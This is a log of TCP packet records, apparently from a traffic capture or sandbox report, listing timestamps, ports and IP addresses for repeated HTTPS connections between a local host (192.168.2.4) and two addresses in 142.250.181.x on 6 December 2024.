Dec 6, 2024 00:15:05.773977041 CET	49751	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:05.774514914 CET	49751	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:05.774527073 CET	443	49751	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:06.053517103 CET	443	49745	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:06.053555012 CET	443	49745	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:06.053574085 CET	49745	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:06.053589106 CET	443	49745	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:06.053608894 CET	49745	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:06.053630114 CET	49745	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:06.053636074 CET	443	49745	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:06.053658962 CET	443	49745	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:06.053673029 CET	49745	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:06.053698063 CET	49745	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:06.054375887 CET	49745	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:06.054388046 CET	443	49745	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:06.054791927 CET	49752	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:06.054831028 CET	443	49752	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:06.054898024 CET	49752	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:06.055094957 CET	49752	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:06.055110931 CET	443	49752	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:06.252938032 CET	49749	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:06.253025055 CET	49750	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:06.253045082 CET	49751	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:06.253068924 CET	49752	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:06.359621048 CET	49754	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:06.359647036 CET	443	49754	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:06.359945059 CET	49754	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:06.360335112 CET	49754	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:06.360348940 CET	443	49754	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:06.360748053 CET	49755	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:06.360790014 CET	443	49755	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:06.360977888 CET	49755	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:06.361232996 CET	49755	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:06.361244917 CET	443	49755	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:08.047518969 CET	443	49754	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:08.047739029 CET	49754	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:08.048237085 CET	443	49754	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:08.048295975 CET	49754	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:08.054299116 CET	443	49755	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:08.054378986 CET	49755	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:08.055037022 CET	443	49755	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:08.055082083 CET	49755	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:08.338308096 CET	49754	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:08.338325024 CET	443	49754	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:08.338624954 CET	443	49754	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:08.338684082 CET	49754	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:08.339245081 CET	49754	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:08.367063046 CET	49755	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:08.367089033 CET	443	49755	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:08.367367029 CET	443	49755	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:08.367417097 CET	49755	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:08.367760897 CET	49755	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:08.383337975 CET	443	49754	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:08.415344954 CET	443	49755	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:09.057069063 CET	443	49754	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:09.057130098 CET	49754	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:09.057143927 CET	443	49754	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:09.057200909 CET	49754	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:09.057259083 CET	49754	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:09.057298899 CET	443	49754	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:09.057425022 CET	443	49754	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:09.057480097 CET	49754	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:09.057504892 CET	49754	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:09.057976961 CET	49762	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:09.058015108 CET	443	49762	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:09.058062077 CET	49762	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:09.059508085 CET	49762	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:09.059524059 CET	443	49762	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:09.071464062 CET	49763	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:09.071513891 CET	443	49763	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:09.071573973 CET	49763	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:09.071844101 CET	49763	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:09.071867943 CET	443	49763	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:09.091588974 CET	443	49755	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:09.091665030 CET	443	49755	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:09.091665983 CET	49755	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:09.091707945 CET	49755	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:09.091790915 CET	49755	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:09.091804981 CET	443	49755	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:09.092477083 CET	49764	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:09.092492104 CET	443	49764	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:09.092546940 CET	49764	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:09.092609882 CET	49765	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:09.092618942 CET	443	49765	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:09.092669010 CET	49765	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:09.092776060 CET	49764	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:09.092789888 CET	443	49764	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:09.092971087 CET	49765	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:09.092979908 CET	443	49765	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:10.345874071 CET	49762	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:10.345942974 CET	49763	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:10.345967054 CET	49764	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:10.345980883 CET	49765	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:10.346415997 CET	49766	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:10.346467018 CET	443	49766	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:10.346523046 CET	49766	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:10.347326994 CET	49766	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:10.347341061 CET	443	49766	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:10.348392963 CET	49767	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:10.348419905 CET	443	49767	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:10.348494053 CET	49767	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:10.349262953 CET	49767	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:10.349272966 CET	443	49767	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.029820919 CET	443	49766	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.030018091 CET	49766	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.030497074 CET	443	49766	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.030710936 CET	49766	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.039184093 CET	443	49767	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.039293051 CET	49767	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.039925098 CET	443	49767	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.040043116 CET	49767	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.040623903 CET	49766	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.040646076 CET	443	49766	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.040860891 CET	443	49766	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.042787075 CET	49766	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.043000937 CET	49767	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.043000937 CET	49766	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.043009996 CET	443	49767	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.043251991 CET	443	49767	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.043359041 CET	49767	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.043548107 CET	49767	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.087331057 CET	443	49766	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.087333918 CET	443	49767	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.937767029 CET	443	49767	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.937954903 CET	49767	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.937978983 CET	443	49767	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.938031912 CET	49767	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.938077927 CET	49767	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.938107967 CET	443	49767	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.938242912 CET	443	49767	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.938302040 CET	49767	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.938314915 CET	49767	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.938621998 CET	49774	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.938644886 CET	443	49774	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.938678980 CET	49775	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:12.938713074 CET	49774	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.938719988 CET	443	49775	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:12.938920975 CET	49774	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:12.938936949 CET	443	49774	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:12.938954115 CET	49775	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:12.939229012 CET	49775	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:12.939240932 CET	443	49775	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:13.032241106 CET	443	49766	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:13.032419920 CET	49766	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:13.032429934 CET	443	49766	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:13.032474995 CET	49766	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:13.032511950 CET	49766	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:13.032546043 CET	443	49766	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:13.032659054 CET	443	49766	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:13.032711983 CET	49766	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:13.033046007 CET	49776	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:13.033049107 CET	49766	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:13.033076048 CET	443	49776	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:13.033092022 CET	49777	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:13.033118963 CET	443	49777	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:13.033138037 CET	49776	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:13.033171892 CET	49777	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:13.033390999 CET	49776	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:13.033401966 CET	443	49776	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:13.033415079 CET	49777	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:13.033432007 CET	443	49777	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:14.631187916 CET	443	49774	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:14.631319046 CET	49774	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:14.632004976 CET	443	49774	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:14.632074118 CET	49774	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:14.636667967 CET	443	49775	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:14.636765003 CET	49775	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:14.641695976 CET	49774	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:14.641716003 CET	443	49774	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:14.641942024 CET	443	49774	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:14.642726898 CET	49774	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:14.644500971 CET	49775	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:14.644512892 CET	443	49775	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:14.644661903 CET	49774	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:14.644746065 CET	443	49775	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:14.644797087 CET	49775	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:14.645059109 CET	49775	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:14.687339067 CET	443	49775	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:14.691339970 CET	443	49774	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:14.766823053 CET	443	49776	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:14.766942978 CET	49776	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:14.767668962 CET	443	49777	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:14.767757893 CET	49777	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:14.768317938 CET	443	49777	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:14.768395901 CET	49777	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:14.768511057 CET	49776	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:14.768522024 CET	443	49776	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:14.768731117 CET	443	49776	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:14.770768881 CET	49776	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:14.770982981 CET	49776	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:14.771266937 CET	49777	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:14.771277905 CET	443	49777	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:14.771493912 CET	443	49777	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:14.771564007 CET	49777	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:14.771862030 CET	49777	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:14.811327934 CET	443	49776	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:14.815356970 CET	443	49777	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:15.539674044 CET	443	49774	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:15.541476011 CET	443	49774	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:15.541678905 CET	49774	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:15.541749954 CET	49774	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:15.541763067 CET	443	49774	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:15.542175055 CET	49782	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:15.542212009 CET	443	49782	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:15.542752981 CET	49782	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:15.542947054 CET	49782	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:15.542958021 CET	443	49782	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:15.579885006 CET	443	49775	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:15.579929113 CET	443	49775	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:15.580013037 CET	443	49775	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:15.580135107 CET	49775	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:15.580136061 CET	49775	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:15.580730915 CET	49775	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:15.580744028 CET	443	49775	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:15.581078053 CET	49783	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:15.581109047 CET	443	49783	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:15.581160069 CET	49783	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:15.581321955 CET	49783	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:15.581337929 CET	443	49783	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:15.772875071 CET	443	49777	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:15.774784088 CET	49777	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:15.774800062 CET	443	49777	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:15.774844885 CET	49777	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:15.774902105 CET	49777	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:15.774935961 CET	443	49777	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:15.775068045 CET	443	49777	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:15.775120020 CET	49777	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:15.775134087 CET	49777	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:15.775532961 CET	49784	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:15.775564909 CET	443	49784	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:15.778759003 CET	49784	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:15.778986931 CET	49784	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:15.778999090 CET	443	49784	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:15.837886095 CET	443	49776	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:15.837928057 CET	443	49776	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:15.837966919 CET	49776	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:15.837980032 CET	443	49776	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:15.837990046 CET	49776	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:15.838016987 CET	443	49776	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:15.838020086 CET	49776	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:15.838603020 CET	49776	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:15.838608980 CET	443	49776	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:15.838654041 CET	49776	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:15.838671923 CET	49776	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:15.838989019 CET	49785	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:15.839008093 CET	443	49785	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:15.839070082 CET	49785	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:15.839274883 CET	49785	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:15.839282990 CET	443	49785	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:16.033588886 CET	49782	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:16.033631086 CET	49783	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:16.033662081 CET	49784	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:16.033691883 CET	49785	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:16.034149885 CET	49786	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:16.034177065 CET	443	49786	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:16.034765959 CET	49786	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:16.035351992 CET	49787	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:16.035387993 CET	443	49787	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:16.035494089 CET	49786	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:16.035506010 CET	443	49786	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:16.035532951 CET	49787	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:16.035669088 CET	49787	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:16.035684109 CET	443	49787	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:17.751585007 CET	443	49787	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:17.751693964 CET	49787	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:17.751893044 CET	443	49786	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:17.751964092 CET	49786	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:17.752233028 CET	443	49787	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:17.752285957 CET	49787	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:17.752530098 CET	443	49786	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:17.752590895 CET	49786	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:17.756534100 CET	49787	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:17.756546021 CET	443	49787	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:17.756758928 CET	443	49787	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:17.756814957 CET	49787	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:17.757136106 CET	49787	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:17.757463932 CET	49786	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:17.757471085 CET	443	49786	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:17.757673979 CET	443	49786	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:17.757721901 CET	49786	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:17.758018970 CET	49786	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:17.803328037 CET	443	49786	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:17.803339005 CET	443	49787	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:18.660650015 CET	443	49786	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:18.660734892 CET	49786	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:18.660748005 CET	443	49786	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:18.660788059 CET	49786	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:18.661439896 CET	443	49786	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:18.661477089 CET	443	49786	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:18.661494017 CET	49786	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:18.661521912 CET	49786	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:18.661628008 CET	49786	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:18.661639929 CET	443	49786	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:18.662288904 CET	49790	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:18.662307978 CET	443	49790	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:18.662372112 CET	49790	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:18.662492990 CET	49791	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:18.662520885 CET	443	49791	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:18.662575960 CET	49791	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:18.662816048 CET	49791	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:18.662827015 CET	443	49791	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:18.662905931 CET	49790	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:18.662914991 CET	443	49790	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:18.667695999 CET	443	49787	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:18.667764902 CET	49787	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:18.667792082 CET	443	49787	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:18.667838097 CET	49787	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:18.667912006 CET	49787	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:18.667943954 CET	443	49787	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:18.667994976 CET	49787	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:18.668298006 CET	49792	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:18.668304920 CET	443	49792	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:18.668360949 CET	49792	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:18.668407917 CET	49793	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:18.668416023 CET	443	49793	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:18.668459892 CET	49793	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:18.668539047 CET	49792	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:18.668545961 CET	443	49792	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:18.668658972 CET	49793	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:18.668668032 CET	443	49793	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:20.353074074 CET	443	49791	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:20.353138924 CET	49791	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:20.354274035 CET	49791	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:20.354284048 CET	443	49791	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:20.356827974 CET	49791	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:20.356832981 CET	443	49791	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:20.358308077 CET	443	49790	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:20.358381987 CET	49790	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:20.361624956 CET	49790	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:20.361633062 CET	443	49790	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:20.361840010 CET	443	49790	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:20.361855984 CET	443	49792	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:20.361891985 CET	49790	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:20.361912966 CET	49792	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:20.362340927 CET	49790	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:20.362515926 CET	443	49793	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:20.362576962 CET	49793	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:20.362821102 CET	49792	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:20.362824917 CET	443	49792	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:20.364541054 CET	49792	443	192.168.2.4	142.250.181.14
